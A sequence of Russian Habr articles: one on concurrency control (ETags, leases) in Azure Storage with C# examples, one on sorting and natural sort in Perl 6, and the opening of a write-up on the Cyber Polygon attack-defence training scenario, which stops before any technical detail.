*Тем временем, всех кто намучался с ORM, тормозящими запросами и плохой производительностью в рабочих ситуациях, приглашаем на [**PG Day'17**](https://pgday.ru/ru/2017/request/registration?utm_source=habrahabr&utm_medium=blog&utm_campaign=varanio3). У нас подготовлено для вас [множество](https://pgday.ru/ru/2017/papers/170?utm_source=habrahabr&utm_medium=blog&utm_campaign=varanio3) [различных](https://pgday.ru/ru/2017/papers/171?utm_source=habrahabr&utm_medium=blog&utm_campaign=varanio3) [докладов](https://pgday.ru/ru/2017/papers/189?utm_source=habrahabr&utm_medium=blog&utm_campaign=varanio3) и [мастер-классов](https://pgday.ru/ru/2017/request/registration?talkId=163&utm_source=habrahabr&utm_medium=blog&utm_campaign=varanio3) для [самых разных](https://pgday.ru/ru/2017/request/registration?talkId=135&utm_source=habrahabr&utm_medium=blog&utm_campaign=varanio3) баз данных*! | https://habr.com/ru/post/328690/ | null | ru | null |
# Организация одновременного доступа к данным в облачном хранилище Microsoft Azure Storage
В современных веб-приложениях часто возникают ситуации, когда несколько пользователей одновременно работают с одними и теми же данными.
Чтобы обеспечить успешное выполнение действий каждого из пользователей, разработчикам приложений необходимо тщательно продумывать обработку и реализацию таких сценариев, особенно в тех случаях, когда действительно необходима одновременная обработка данных группой пользователей.
Наиболее часто разработчики используют следующие три стратегии по управлению одновременным доступом к данным:
1. **Оптимистичный параллелизм (Optimistic concurrency)**
Приложение обновит данные только после того, как проверит их на наличие изменений с момента последнего обращения к ним.
Например, два пользователя просматривают одну и ту же wiki-страницу, а затем одновременно решают ее обновить.
В этом случае вики-платформа должна обеспечить процесс, при котором обновление второго пользователя не заместит обновление первого, и оба пользователя поймут было ли произведено действие каждого из них.
Эта стратегия используется в веб-приложениях чаще всего.
2. **Пессимистичный параллелизм (Pessimistic concurrency)**
В этом случае, приложение блокирует обновляемые данные, и пока блокировка не будет снята, т.е. пока первый пользователь не закончит редактирование данных, доступ к ним будет ограничен для других пользователей.
Например, в master/slave сценариях репликации данных, где только мастер выполняет обновления, как правило, только он может установить долговременную блокировку данных, для предотвращения редактирования данных кем-либо еще.
3. **«Выигрывает последний» (Last writer wins)**
Такой подход позволяет выполнять любые операции с данными, без поверки данных на обновление с момента последнего обращения приложения к ним.
Эта стратегия (или отсутствие формальной стратегии), как правило, применяется там, где данные распределены таким образом, что вероятность доступа нескольких пользователей к одному и тому же разделу исключена.
Также описанный выше способ полезен при обработке кратковременных потоков данных.
В данной статье разговор пойдет о том, как платформа Azure Storage упрощает разработку приложений, использующих хранилища данных, предоставляя поддержку всех трех стратегий организации одновременного доступа.
### Azure Storage – упрощает облачную разработку
Azure Storage поддерживает все три стратегии одновременного доступа к данным, хотя и существуют некоторые особенности поддержки оптимистичного и пессимистичного параллелизма, так как изначально хранилища были спроектированы для модели строгого параллелизма, гарантирующей, что в момент, когда сервис хранилища завершает операции добавления и редактирования данных, все последующие обращения к этим данным обнаружат последнее обновление.
Платформы хранилищ, использующие модель согласованности, содержат лаг – задержку между периодом, когда осуществляется запись одним пользователем и периодом, когда обновленные данные видны другим пользователям, что приводит к усложнению разработки клиентских приложений из-за необходимости предотвращать несоответствия в данных для конечных пользователей.
В дополнение к выбору подходящей стратегии доступа к данным, разработчики должны обратить внимание на то, как платформа хранилища организует изоляцию изменений – частичные изменения одних и тех же объектов в транзакциях.
Сервис Azure Storage использует изоляцию снэпшотами для обеспечения возможности одновременного чтения и записи в пределах одного раздела.
В отличие от других уровней изоляции, изоляция снэпшотами гарантирует, что все операции чтения видят согласующийся снэпшот данных даже в момент происходящих обновлений, особенно при возвращении последних сохраненных значений во время исполнения транзакции обновления.
### Организация одновременного доступа к BLOB-объектам
Вы можете выбрать, какую стратегию параллелизма использовать для управления доступом к блоб-объектам и контейнерам в сервисе блобов.
Если вы не укажете стратегию явно, то по умолчанию будет использоваться стратегия «Выигрывает последний».
#### Оптимистичный параллелизм для блобов и контейнеров
Сервис хранилища присваивает идентификатор для каждого хранящегося объекта. Этот идентификатор обновляется каждый раз при выполнении операции обновления над объектом. Идентификатор возвращается клиенту как часть ответа на запрос HTTP GET, используя заголовок ETag (тег сущности), определенный в HTTP протоколе.
Пользователь, выполняющий обновление на таком объекте, может отправить вместе с оригинальным ETag условный заголовок, для того чтобы убедиться, что обновление произойдет только при определенных условиях — в данном случае условием является заголовок «If -Match», который требуется сервисом хранилища.
Ниже в общих чертах представлен план этого процесса:
1. Получаем блоб из сервиса хранилища, ответ включает параметр заголовка HTTP ETag, который идентифицирует текущую версию объекта в сервисе хранилища.
2. Когда вы обновляете блоб, включите полученный параметр ETag из предыдущего шага в условный заголовок запроса **If****-****Match**, который вы отправляете сервису.
3. Сервис сравнивает значение ETag в запросе с текущим значением ETag в блобе.
4. Если текущее значение ETag блоба отличается от ETag в заголовке запроса **If****-****Match**, то сервис возвращает клиенту ошибку 412. Это указывает клиенту на то, что другой процесс обновил блоб, с тех пор, как клиент его запрашивал.
5. Если текущее значение ETag не отличается от значения ETag в заголовке запроса, то сервис выполнит запрошенную операцию и обновит текущее значение ETag блоба, чтобы показать, что было обновление данных.
Представленный ниже С# cниппет показывает простой пример создания условия If-Match c помощью класса **AccessCondition**, основанного на значении ETag, которое было получено из свойств, ранее извлеченного или добавленного блоба.
Затем это условие использует объект **AccessCondition** во время обновления блоба: объект AccessCondition добавляет заголовок If-Match в запрос.
Если другой процесс обновил блоб, то сервис блобов вернет сообщение HTTP 412 (Precondition Failed).
Полный пример можно скачать [здесь](http://code.msdn.microsoft.com/windowsazure/Managing-Concurrency-using-56018114).
```
// Получает Etag из результата, ранее произведенной блоб-операции UploadText
string orignalETag = blockBlob.Properties.ETag;
// Этот код имитирует обновление сторонним процессом
string helloText = "Blob updated by a third party.";
// Не предоставлено никакого etag, поэтому первоначальный блоб обновлен (это сгенерирует новый etag)
blockBlob.UploadText(helloText);
Console.WriteLine("Blob updated. Updated ETag = {0}", blockBlob.Properties.ETag);
// Теперь пробуем обновить блоб, используя первоначальный ETag, полученный при создании блоба
try
{
Console.WriteLine("Trying to update blob using orignal etag to generate if-match access condition");
blockBlob.UploadText(helloText,accessCondition:
AccessCondition.GenerateIfMatchCondition(orignalETag));
}
catch (StorageException ex)
{
if (ex.RequestInformation.HttpStatusCode == (int)HttpStatusCode.PreconditionFailed)
{
Console.WriteLine("Precondition failure as expected. Blob's orignal etag no longer matches");
}
}
```
Сервис хранилища также поддерживает и другие условные заголовки, такие как **If****-****Modified****-****Since**, **If****-****Unmodified****-****Since** и **If****-****None****-****Match****.**
Дополнительная информация [документация на MSDN](http://msdn.microsoft.com/ru-ru/library/dd179371.aspx).
В таблице приведены операции над контейнерами, принимающие условные заголовки, такие как **If****-****Match,**в запросе и возвращающие ETag в ответе:
| | | |
| --- | --- | --- |
| **Операция** | **Возвращает** **значение** **ETag** | **Принимает условные заголовки** |
| Create Container | Yes | No |
| Get Container Properties | Yes | No |
| Get Container Metadata | Yes | No |
| Set Container Metadata | Yes | Yes |
| Get Container ACL | Yes | No |
| Set Container ACL | Yes | Yes (\*) |
| Delete Container | No | Yes |
| Lease Container | Yes | Yes |
| List Blobs | No | No |
(\*) Разрешения, определяемые SetContainerACL кэшируются, а их обновление занимает 30 секунд, в течение которых не гарантируется согласованность обновлений.
В таблице приведены операции блобов, принимающие в запросе условные заголовки, такие как If-Match, и возвращающие значение ETag:
| | | |
| --- | --- | --- |
| **Операция** | **Возвращает значение ETag** | **Принимает условные заголовки** |
| Put Blob | Yes | Yes |
| Get Blob | Yes | Yes |
| Get Blob Properties | Yes | Yes |
| Set Blob Properties | Yes | Yes |
| Get Blob Metadata | Yes | Yes |
| Set Blob Metadata | Yes | Yes |
| Lease Blob (\*) | Yes | Yes |
| Snapshot Blob | Yes | Yes |
| Copy Blob | Yes | Yes (for source and destination blob) |
| Abort Copy Blob | No | No |
| Delete Blob | No | Yes |
| Put Block | No | No |
| Put Block List | Yes | Yes |
| Get Block List | Yes | No |
| Put Page | Yes | Yes |
| Get Page Ranges | Yes | Yes |
(\*) Лизинг блоба не меняет его Etag.
#### Пессимистичный параллелизм в блобах
Чтобы заблокировать блоб для исключительного использования, применяется механизм лизинга. При использовании лизинга вы указываете его продолжительность: 15 — 60 секунд, либо без окончания, что означает исключительную блокировку. Еще вы можете продлить блокировку, либо разблокировать блоб после завершения работы с ним. Сервис блобов автоматически отключает лизинг, если срок его действия на блобе истек.
Лизинг позволяет использовать различные стратегии синхронизации, включая эксклюзивную запись/ разделенное чтение, эксклюзивную запись / эксклюзивное чтение, разделенную запись / эксклюзивное чтение.
Там, где существует лизинг, сервис хранилища упорядочивает эксклюзивную запись (операции put, set, delete). Для обеспечения эксклюзивности операций чтения, разработчику требуется предусмотреть, чтобы все клиентские приложения использовали идентификатор лизинга, и только один клиент в один момент времени имел подходящий идентификатор лизинга. Операции чтения, которые не включают в себя идентификатор лизинга происходят в разделенном чтении.
В коде ниже (C#) показан эксклюзивный 30 секундный лизинг на блобе, обновление блоба и прекращение лизинга. Если необходимый лизинг на блобе уже установлен, то при попытке установки нового, сервис блобов вернет результат «HTTP (409) Conflict”.
При создании запроса на обновление блоба в службе хранилища, в коде, для информации о лизинге, используется объект AccessCondition.
Полный пример можно скачать [здесь](http://code.msdn.microsoft.com/windowsazure/Managing-Concurrency-using-56018114).
```
// Устанавливаем лизинг на 15 секунд
string lease = blockBlob.AcquireLease(TimeSpan.FromSeconds(15), null);
Console.WriteLine("Blob lease acquired. Lease = {0}", lease);
// Обновляем блоб, используя лизинг. Это операция пройдет успешно
const string helloText = "Blob updated";
var accessCondition = AccessCondition.GenerateLeaseCondition(lease);
blockBlob.UploadText(helloText, accessCondition: accessCondition);
Console.WriteLine("Blob updated using an exclusive lease");
//Имитация обновления блоба без лизинга сторонним процессом Simulate third party update to blob without lease
try
{
// Операция ниже не произойдет, так как не предоставлено соответствующего лизинга
Console.WriteLine("Trying to update blob without valid lease");
blockBlob.UploadText("Update without lease, will fail");
}
catch (StorageException ex)
{
if (ex.RequestInformation.HttpStatusCode == (int)HttpStatusCode.PreconditionFailed)
Console.WriteLine("Precondition failure as expected. Blob's lease does not match");
else
throw;
}
```
Если произвести операцию записи на блобе с лизингом без передачи идентификатора лизинга, то запрос упадет с ошибкой 412. Обратите внимание — если срок лизинга истечет перед вызовом метода **UploadText****,** а вы все еще передаете идентификатор лизинга, запрос опять же упадет с ошибкой 412.
Для получения информации об управлении продолжительностью лизинга и идентификатором лизинга, посмотрите [документацию](http://msdn.microsoft.com/library/azure/ee691972.aspx/).
В следующем списке приведены операции блобов, которые могут использовать лизинг для пессимистичного параллелизма:
* Put Blob
* Get Blob
* Get Blob Properties
* Set Blob Properties
* Get Blob Metadata
* Set Blob Metadata
* Delete Blob
* Put Block
* Put Block List
* Get Block List
* Put Page
* Get Page Ranges
* Snapshot Blob – идентификатор лизинга не требуется
* Copy Blob – идентификатор требуется, если на блобе установлен лизинг
* Abort Copy Blob – идентификатор требуется, если на блобе установлен не ограниченный лизинг
* Lease Blob
#### Пессимистичный параллелизм для контейнеров
Лизинг на контейнерах предоставляет поддержку той же стратегии синхронизации, что и на блобах (эксклюзивная запись / разделенное чтение, эксклюзивная запись / эксклюзивное чтение и разделенная запись / эксклюзивное чтение), однако, в отличие от блобов, сервис хранилища применяет стратегию эксклюзивности для операций удаления.
Для удаления контейнера с активным лизингом клиент должен включить идентификатор активного лизинга в запрос удаления.
Другие операции над лизинг-контейнером не должны обязательно содержать идентификатор лизинга, и такие операции называются разделяемыми.
Если требуются операции эксклюзивного обновления (put или set) или чтения, то разработчикам нужно, чтобы каждый клиент использовал идентификатор лизинга и только один клиент использовал подходящий на данный момент идентификатор.
Ниже перечислены операции контейнера, которые могут использовать лизинг для пессимистичного параллелизма:
* Delete Container
* Get Container Properties
* Get Container Metadata
* Set Container Metadata
* Get Container ACL
* Set Container ACL
* Lease Container
Дополнительная информация:
* [Использование условных заголовков для операций со службой BLOB-объектов](http://msdn.microsoft.com/library/azure/dd179371.aspx/)
* [Лизинг контейнера](http://msdn.microsoft.com/library/azure/jj159103.aspx/)
* [Лизинг блоба](http://msdn.microsoft.com/library/azure/ee691972.aspx/)
### Организация параллелизма в сервисе Tables
Сервис таблиц во время работы с сущностями по умолчанию использует оптимистичную стратегию одновременного доступа к данным, в отличие от сервиса блобов, где надо явно выбрать использование оптимистичного параллелизма.
Другое различие сервисов таблиц и блобов заключается в том, что с таблицами вы можете управлять поведением при параллельном доступе только для сущностей, в то время как для сервиса блобов вы можете управлять параллелизмом, как при доступе к контейнерам, так и к блобам.
Чтобы использовать оптимистичный параллелизм и проверить, была ли модифицирована сущность другим процессом с момента ее выборки из сервиса таблиц, вы можете использовать полученное во время выборки значение ETag.
План этого процесса представлен ниже:
1. Извлечение сущности из сервиса хранилища таблиц. Ответ включает значение ETag — текущий идентификатор связанный с сущностью в хранилище.
2. Когда вы обновляете сущность, включите полученный параметр ETag из предыдущего шага в условный заголовок запроса **If****-****Match**, который вы отправляете сервису.
3. Сервис сравнивает значение ETag в запросе с текущим значением ETag сущности.
4. Если текущее значение ETag сущности отличается от ETag в заголовке запроса **If****-****Match**, то сервис возвращает клиенту ошибку 412. Это указывает клиенту на то, что другой процесс обновил сущность, с тех пор, как клиент ее запрашивал.
5. Если текущее значение ETag не отличается от значения ETag в заголовке запроса **If****-****Match** или **If****-****Match** заголовок содержит символ (\*), то сервис выполнит запрошенную операцию и обновит текущее значение ETag сущности, чтобы показать, что произошло обновление данных.
Обратите внимание, что в отличие от сервиса блобов сервис таблиц требует чтобы клиент включал заголовок **If****-****Match** в запросы обновления. Однако, остается возможность принудительного безусловного обновления (стратегия «выигрывает последний») и обхода проверок при установке клиентом значения заголовка **If****-****Match** **равном символу (\*)** в запросе.
Код ниже (C#) демонстрирует сущность customer, созданную или выбранную из имеющихся данных с обновленным адресом email. Первоначальная операция вставки или извлечения хранит значение ETag в объекте customer и, так как пример использует тот же экземпляр объекта во время исполнения операции замены, он автоматически отправляет значение ETag назад в сервис таблиц, позволяя сервису проверить нарушение при одновременном доступе.
Если другой процесс обновил сущность в хранилище таблиц, служба возвращает сообщение со статусом HTTP 412 (Precondition Failed).
Полный пример доступен [здесь](http://code.msdn.microsoft.com/windowsazure/Managing-Concurrency-using-56018114)
```
try
{
customer.Email = "updatedEmail@contoso.org";
TableOperation replaceCustomer = TableOperation.Replace(customer);
customerTable.Execute(replaceCustomer);
Console.WriteLine("Replace operation succeeded.");
}
catch (StorageException ex)
{
if (ex.RequestInformation.HttpStatusCode == 412)
Console.WriteLine("Optimistic concurrency violation – entity has changed since it was retrieved.");
else
throw;
}
```
Для явной блокировки проверки одновременного доступа, вы должны установить свойство ETag объекта employee в значение «\*» перед проведением операции обновления.
**customer.ETag = “\*”;**
В таблице показано как табличные операции используют значения ETag:
| | | |
| --- | --- | --- |
| **Операции** | **Возвращает значение ETag** | **Требует** **условные** **заголовки** |
| Query Entities | Yes | No |
| Insert Entity | Yes | No |
| Update Entity | Yes | Yes |
| Merge Entity | Yes | Yes |
| Delete Entity | No | Yes |
| Insert or Replace Entity | Yes | No |
| Insert or Merge Entity | Yes | No |
Обратите внимание, что операции **Insert****or****Replace****Entity** и **Insert****or****Merge****Entity***не выполняют* никаких проверок одновременного доступа, потому что они не отправляют значение ETag в сервис таблиц.
Как правило, разработчики, использующие таблицы, должны полагаться на оптимистичную стратегию одновременного доступа к данным при разработке масштабируемых приложений.
Если возникла необходимость в пессимистичной блокировке, то подходящим вариантом доступа к таблицам для разработчиков может стать выделение специального блоба для каждой таблицы и попытка его лизинга перед каждой операцией на таблице.
Этот подход требует чтобы приложение следило за тем, чтобы любой доступ к таблицам осуществлялся через предварительную попытку лизинга блоба.
Обратите внимание так же, что минимальная продолжительность лизинга составляет 15 секунд, что требует особого внимания при разработке масштабируемых решений.
Дополнительная информация:
* [Операции с сущностями](http://msdn.microsoft.com/library/azure/dd179375.aspx/)
### Организация параллелизма в сервисе хранилища очередей
Для очередей существует один сценарий, при котором возникает необходимость использования стратегии параллельного доступа – это когда несколько клиентов одновременно извлекают сообщения из очереди. Когда сообщение извлечено из очереди, ответ включает в себя само сообщение и значение pop receipt value, которое требуется для последующего удаления сообщения.
Сообщение не удаляется из очереди автоматически, но, после того как оно было извлечено оно становится для клиентов не видимым на время определенное visibilitytimeout.
Клиент, получающий сообщение, ожидает удаления сообщения в период после того как оно было обработано и до момента, определенного элементом TimeNextVisible в ответе.
Для определения TimeNextVisible значение visibilitytimeout добавляется ко времени извлечения сообщения.
Сервис хранилища очередей не поддерживает оптимистичную или пессимистичную стратегию, поэтому клиенты, обрабатывающие сообщения, извлеченные из очереди, должны обеспечить идемпотентный способ обработки сообщений.
Для операций обновления, таких как SetQueueServiceProperties, SetQueueMetaData, SetQueueACL и UpdateMessage используется стратегия «выигрывает последний».
Дополнительная информация:
* [API-интерфейс REST для службы очередей](http://msdn.microsoft.com/library/azure/dd179363.aspx/)
* [Операция Get Messages](http://msdn.microsoft.com/library/azure/dd179474.aspx/)
### Организация параллелизма в сервисе хранилища файлов
Доступ к файловому сервису может быть осуществлён с помощью двух различных протоколов: SMB и REST. Сервис REST не поддерживает оптимистичную или пессимистичную блокировку, и все обновления будут производиться на основании стратегии «выигрывает последний».
Клиенты, использующие SMB, могут применять механизм блокировки на уровне файловой системы для управления доступом к разделяемым (shared) файлам, включая возможность пессимистичной блокировки.
Когда SMB-клиент открывает файл, он определяет параметр доступа к файлу и режим разделяемого доступа. В результате установки опции доступа к файлу в значение «Write» или «Read/Write» и режима разделяемого доступа в значение «None», файл будет заблокирован SMB-клиентом до его закрытия.
Если операция REST производится на файле, заблокированном SMB-клиентом, то REST сервис вернет ошибку 409 с кодом «Sharing Violation».
Когда SMB-клиент открывает файл для удаления, он помечает файл как «ожидающий удаления» до тех пор, пока все другие SMB-клиенты не закроют его. Пока файл отмечен как ожидающий удаления, любые REST-операции на этом файле будут возвращать ошибку 409 с кодом SMBDeletePending. Код ошибки 404 (Not Found) не будет возвращаться, так как существует возможность, что SMB-клиент уберет флаг ожидания удаления перед тем как закрыть файл. Другими словами, код ошибки 404 вернется только тогда, когда файл будет действительно удален.
Обратите внимание, что пока файл находится в состоянии ожидании удаления SMB-клиентом, он не будет включен в результаты выдачи List Files.
надо еще учитывать, что операции REST Delete File и Delete Directory исполняются атомарно и не приводят к установке состояния «ожидающий удаления».
Дополнительная информация:
* [Организация блокировки файлов](http://msdn.microsoft.com/en-us/library/azure/dn194265.aspx)
### Заключение
Облачное хранилище Microsoft Azure было спроектировано для удовлетворения потребностей сложных веб-приложений. При этом, от разработчиков не требуется жертвовать или переосмысливать ключевые шаблоны проектирования, такие как одновременный доступ к данным или обеспечение корректного состояния данных. Механизмы их обеспечения включены в само хранилище.
Полный пример приложения, использованного в статье:
* [Организация одновременного доступа к данным в облачном хранилище Microsoft Azure Storage](http://code.msdn.microsoft.com/windowsazure/Managing-Concurrency-using-56018114)
Подробная информации об Azure Storage:
* [Главная страница Microsoft Azure Storage](http://azure.microsoft.com/ru-ru/services/storage/)
* [Введение в Azure Storage](http://azure.microsoft.com/ru-ru/documentation/articles/storage-introduction/)
* [Блобы](http://azure.microsoft.com/en-us/documentation/articles/storage-dotnet-how-to-use-blobs/), [Таблицы](http://azure.microsoft.com/en-us/documentation/articles/storage-dotnet-how-to-use-tables/) и [Очереди](http://azure.microsoft.com/en-us/documentation/articles/storage-dotnet-how-to-use-queues/)
* Статья: [Windows Azure Storage: A Highly Available Cloud Storage Service with Strong Consistency](http://blogs.msdn.com/b/windowsazurestorage/archive/2011/11/20/windows-azure-storage-a-highly-available-cloud-storage-service-with-strong-consistency.aspx)
### Полезные ссылки
* [Попробовать Azure](http://l.techdays.ru/go/azuretrial) бесплатно на 30 дней!
+ [Центр разработки Microsoft Azure (azurehub.ru)](http://www.azurehub.ru/) – сценарии, руководства, примеры, рекомендации по разработке
+ [Twitter.com/windowsazure\_ru](http://www.twitter.com/windowsazure_ru) — последние новости Microsoft Azure
+ [Сообществе Microsoft Azure на Facebook](http://www.facebook.com/groups/azurerus/) – эксперты, вопросы
* [Изучить курсы](http://l.techdays.ru/go/mva) виртуальной академии Microsoft по облачным и другим технологиям
+ **[Бизнес и облако: лучшие практики решений](http://www.microsoftvirtualacademy.com/training-courses/business-and-cloud-best-practices-solutions-rus)**
+ [Windows 8.1 Update для крупных организаций. Начало работы](http://www.microsoftvirtualacademy.com/training-courses/windows-8-1-update-for-enterprise-jump-start-rus)
+ [Гибридное облако Microsoft: Руководство по типовым решениям](http://www.microsoftvirtualacademy.com/training-courses/the-microsoft-hybrid-cloud-best-practices-guidance-rus)
+ [Набор средств для подготовки пользователей к Windows 8.1](http://www.microsoftvirtualacademy.com/training-courses/windows-8-1-user-readiness-toolkit_rus)
+ [Введение в графическую библиотеку Win2D](http://www.microsoftvirtualacademy.com/training-courses/introduction-to-the-graphics-library-win2d-rus)
* [Загрузить](http://l.techdays.ru/go/getvs) бесплатную или пробную Visual Studio
* [Стать разработчиком](http://l.techdays.ru/go/winstart) универсальных приложений Windows | https://habr.com/ru/post/243629/ | null | ru | null |
# .sort'ировка в Perl 6
Сортировка списков – очень распространённая задача в программировании, и в Perl 6 есть несколько улучшений функции sort, помогающих вам решить такую задачу.
В языке есть обыкновенный типичный sort:
```
# сортировка по умолчанию с учётом типа
my @sorted = @unsorted.sort; # или sort @unsorted;
```
Как и в Perl 5, можно настраивать функцию для сравнения:
```
# численное сравнение
my @sorted = @unsorted.sort: { $^a <=> $^b };
```
```
# то же, с использованием функциональной семантики
my @sorted = sort { $^a <=> $^b }, @unsorted;
```
```
# строковое сравнение ( как cmp в Perl 5 )
my @sorted = @unsorted.sort: { $^a leg $^b };
```
```
# сравнение с учётом типа
my @sorted = @unsorted.sort: { $^a cmp $^b };
```
Если записать условие сравнения в скобках, тогда вам не понадобится двоеточие. Это удобно, когда вы хотите выстроить цепочку из других методов, тянущуюся за sort:
```
my @topten = @scores.sort( { $^b <=> $^a } ).list.munch(10);
```
Уточнение: в Perl 6 у переменных $a и $b нет особого назначения, как в Perl 5. В блоке сравнения сортировки, как и в любом другом блоке, можно использовать обычные переменные ($var), позиционные ($^var) или «whatever» (\*).
Во время сортировки можно сразу применять преобразующую функцию:
```
my @sorted = @unsorted.sort: { foo($^a) cmp foo($^b) };
```
но для каждой итерации foo() подсчитывается заново. Для мелких списков это не страшно, но для крупных это становится проблемой, особенно, если эта функция тяжёлая по вычислениям.
В Perl 5 типичным является использование преобразования Шварца, когда вам необходимо упорядочить список не по элементам, а по некоторым производным от них.
При использовании преобразования Шварца, каждое преобразование подсчитывается один раз, затем элементы сортируются по результатам преобразования, а затем из этого списка берутся изначальные элементы.
Предположим, что необходимо отсортировать список слов («aaaa», «a», «aa») по длине слов. Сначала необходимо создать список ([«aaaa»,4], [«a»,1], [«aa»,2]), затем отсортировать его по числовому значению, а потом из полученного списка ([«a»,1], [«aa»,2], [«aaaa»,4]) удалить числа. В результате будет получен список («a», «aa», «aaaa»).
```
# Код для Perl 5
@sorted =
map { $_->[0] }
sort { $a->[1] cmp $b->[1] }
map { [$_, foo($_)] }
@unsorted;
```
В Perl 6 его тоже можно делать, но кроме того, в sort встроены некоторые интеллектуальные алгоритмы. Если у вашей функции число операндов 0 или 1, Perl 6 примечает это и автоматически добавляет преобразование Шварца.
Взглянем на примеры.
#### Сортировка без учёта регистра
Привести каждый элемент к нижнему регистру, отсортировать, и вернуть оригинальные элементы.
```
my @sorted = @unsorted.sort: { .lc };
```
Простота.
#### Сортировка по длине слова
Упорядочить список строк по количеству символов, от коротких к длинным.
```
my @sorted = @unsorted.sort: { .chars };
```
Or longest to shortest:
```
my @sorted = @unsorted.sort: { -.chars };
```
#### Множественные компараторы в сортировке
В блок sort можно передать несколько функций для сравнения и он выполнит столько преобразований, сколько нужно для достижения первого результата неравенства.
Сортировка по длине слов, при этом есть вторичная сортировка, которая сортирует слова с одинаковой длиной по порядку символов ASCII.
```
.say for @a.sort: { $^a.chars, $^a } ;
```
Сортировка в Perl 6 стабильна, поэтому можно отсортировать список по порядку ASCII, а затем – по длине слов.
```
.say for @a.sort.sort: { $^a.chars };
```
Работает – но так оно сортируется дважды. Можно переписать это следующим образом:
```
.say for @a.sort: { $^a.chars <=> $^b.chars || $^a leg $^b };
```
Тоже работает, но теперь потеряна автоматическое преобразование Шварца.
Или можно применить естественное сортирующее преобразование:
```
.say for @a.sort: { $^a.&naturally, $^a };
```
«Что-то? Естественная сортировка? Это ещё откуда взялось?». Рад, что вы спросили.
#### Естественная сортировка
Стандартная сортировка по строка выдает результат в «ASCIIвитном» прядке. Цифры перед прописными буквами, а затем строчные. Люди часто удивляются, получив в результате сортировки следующее:
```
0
1
100
11
144th
2
21
210
3rd
33rd
AND
ARE
An
Bit
Can
and
by
car
d1
d10
d2
```
И это, конечно, корректно, но не совсем интуитивно, особенно для не-программистов. Естественная сортировка упорядочила бы список по возрастанию чисел, а затем по алфавиту.
Вот те же строки, отсортированные естественно:
```
0
1
2
3rd
11
21
33rd
100
144th
210
An
AND
and
ARE
Bit
by
Can
car
d1
d2
d10
```
Для этого нужно выполнить простое преобразование. Я буду использовать метод subst. Это аналог оператора s/// в виде метода.
```
.subst(/(\d+)/, -> $/ { 0 ~ $0.chars.chr ~ $0 }, :g)
```
Сначала мы «ловим» группу из одного или нескольких последовательных цифр. Конструкция ‘ -> $/ { … } ‘ – это «блок с остриями». Она означает «выдать содержимое массива найденных совпадений ($/) в область видимости следующего блока кода ( {…} )». Блок строит строку замены: «0», к которому присоединяется количество цифр в числе, выраженное как символ ASCII, после которого уже присоединяется сама строка из цифр. Приставка :g означает «глобально».
И ещё нам нужно сортировать нечувствительно к регистру, поэтому мы пристегнём ещё метод .lc, и получим в результате:
```
.lc.subst(/(\d+)/, -> $/ { 0 ~ $0.chars.chr ~ $0 }, :g)
```
Превращаем это в функцию:
```
sub naturally ($a) {
$a.lc.subst(/(\d+)/, -> $/ { 0 ~ $0.chars.chr ~ $0 }, :g)
}
```
Работает почти правильно, но не совсем. Величины, замэпленные в одно преобразование, вернутся в том порядке, в котором поступали. Например, слова ‘THE’, ‘The’ и ‘the’ вернутся в порядке поступления, а не в порядке сортировки. Проще всего будет добавить оригинальную величину в хвост преображённой.
Итого, финальная функция естественной сортировки будет такой:
```
sub naturally ($a) {
$a.lc.subst(/(\d+)/, -> $/ { 0 ~ $0.chars.chr ~ $0 }, :g) ~ "\x0" ~ $a
}
```
Поскольку она работает с величинами по очереди, мы ещё получаем бесплатно преобразование Шварца. Теперь его можно использовать в качестве модификатора сортировки.
```
.say for <0 1 100 11 144th 2 21 210 3rd 33rd AND ARE An Bit Can and by car d1 d10 d2>.sort: { .&naturally };
```
Или отсортировать ip адреса:
```
# сортируем список ip
my @ips = ((0..255).roll(4).join('.')for 0..99);
.say for @ips.sort: { .&naturally };
4.108.172.65
5.149.121.70
10.24.201.53
11.10.90.219
12.83.84.206
12.124.106.41
12.162.149.98
14.203.88.93
16.18.0.178
17.68.226.104
21.201.181.225
23.61.166.202
23.205.73.104
24.250.90.75
35.56.124.120
36.158.70.141
40.149.118.209
40.238.169.146
52.107.62.129
55.119.95.120
56.39.105.245
... и так далее
```
Или сортировать список файлов, или что угодно, что содержит смесь из цифр и символов. | https://habr.com/ru/post/267887/ | null | ru | null |
# Attack-defence для бизнеса: разбираем задания корпоративного тренинга Cyber Polygon
Типичный парадокс из жизни безопасника:
* инцидентов быть не должно (потому что инциденты = потери для бизнеса);
* но инцидентов должно быть много (потому что без опыта реагирования будет трудно сохранять квалификацию и оперативно отражать атаки).
Для выхода из этого порочного круга крупные компании заказывают услуги Red Team: нанимают сторонних специалистов, которые пытаются взломать компанию. Но, во-первых, это довольно дорого; во-вторых, развернуться здесь трудно: мало кто позволит всерьез ломать бизнес-критичные сервисы.
Мы решили попробовать другой подход — практические учения — и год назад впервые организовали бесплатный тренинг для корпоративных команд [Cyber Polygon](https://cyberpolygon.com/ru/?utm_source=email&utm_medium=email_cyberpolygon&utm_campaign=30-10-20_habr_ru&utm_content=main_link). В роли Red Team
мы атаковали сразу нескольких команд-участниц, причем все происходило в специальной тренировочной инфраструктуре, которую не жалко.
В июле прошел Cyber Polygon 2.0. В нем участвовали уже 120 команд из 29 стран, а сценарии тренинга включали и защиту инфраструктуры от активной атаки (Defence), и реагирование
и расследование инцидентов (Response).
В этом райтапе мы расскажем о заданиях сценария Defence: идеи для него мы черпали из опыта подготовки attack-defence CTF.
### Легенда
Интерфейс главной страницы уязвимого веб-приложенияСогласно легенде, в виртуальной инфраструктуре организации функционировал сервис, обрабатывающий конфиденциальную информацию клиентов. Этот сервис заинтересовал некую APT-группировку, которая планировала украсть конфиденциальные данные пользователей и перепродать их на черном рынке, чтобы извлечь финансовую выгоду и нанести репутационный ущерб организации.
APT-группировка заранее провела необходимую разведку, обнаружила ряд критичных уязвимостей в целевой системе и в день учений начала свою атаку.
Перед участниками тренинга стояли следующие задачи:
* как можно быстрее справиться с начавшейся атакой;
* минимизировать объем украденной информации;
* сохранить работоспособность сервиса.
Участники могли использовать любые доступные и привычные им средства и методы защиты.
### Основные механики
Как мы сказали, при разработке сценария мы вдохновлялись форматом attack-defenсe CTF. Однако на Cyber Polygon участникам не нужно было атаковать другие команды — достаточно было только защищать свой сервис.
Такое правило мы ввели для того, чтобы все участники оказались в равных условиях и сконцентрировались на улучшении навыков обороны. Кроме того, благодаря ему количественные метрики, а значит и оценка уровня команд, были более объективными.
В качестве метрик были определены следующие показатели:
